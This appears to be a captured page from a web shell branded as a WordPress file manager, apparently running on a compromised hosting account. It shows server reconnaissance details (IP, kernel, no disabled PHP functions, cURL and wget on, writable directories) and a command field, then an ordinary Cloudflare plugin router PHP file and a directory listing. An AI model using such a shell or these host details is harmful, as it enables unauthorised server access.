GRAYBYTE WORDPRESS FILE MANAGER4896

Server IP : 68.65.123.43 / Your IP : 216.73.216.162
System : Linux server266.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/inteuuod/public_html/wp-content/plugins/cloudflare/src/Router/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/inteuuod/public_html/wp-content/plugins/cloudflare/src/Router//RequestRouter.php
<?php

namespace CF\Router;

use CF\API\Request;
use CF\API\APIInterface;
use CF\Integration\IntegrationInterface;

class RequestRouter
{
    protected $integrationContext;

    protected $routerList;

    /**
     * @param IntegrationInterface $integrationContext
     */
    public function __construct(IntegrationInterface $integrationContext)
    {
        $this->integrationContext = $integrationContext;
        $this->routerList = array();
    }

    /**
     * @param APIInterface $client
     * @param $routes
     */
    public function addRouter(APIInterface $client, $routes)
    {
        $router = new DefaultRestAPIRouter($this->integrationContext, $client, $routes);
        $this->routerList[$client->getAPIClientName()] = $router;
    }

    /**
     * @return array
     */
    public function getRouterList()
    {
        return $this->routerList;
    }

    /**
     * @param $routerList
     */
    public function setRouterList($routerList)
    {
        $this->routerList = $routerList;
    }

    /**
     * @param Request $request
     *
     * @return bool
     */
    public function route(Request $request)
    {
        foreach ($this->getRouterList() as $router) {
            if ($router->getAPIClient()->shouldRouteRequest($request)) {
                return $router->route($request);
            }
        }

        return;
    }
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:45:36
inteuuod / inteuuod
0755
.htaccess
0.41 KB
July 10 2025 04:32:23
inteuuod / inteuuod
0644
DefaultRestAPIRouter.php
4.158 KB
August 23 2024 03:21:02
inteuuod / inteuuod
0644
RequestRouter.php
1.336 KB
August 23 2024 03:21:02
inteuuod / inteuuod
0644
RouterInterface.php
0.157 KB
August 23 2024 03:21:02
inteuuod / inteuuod
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF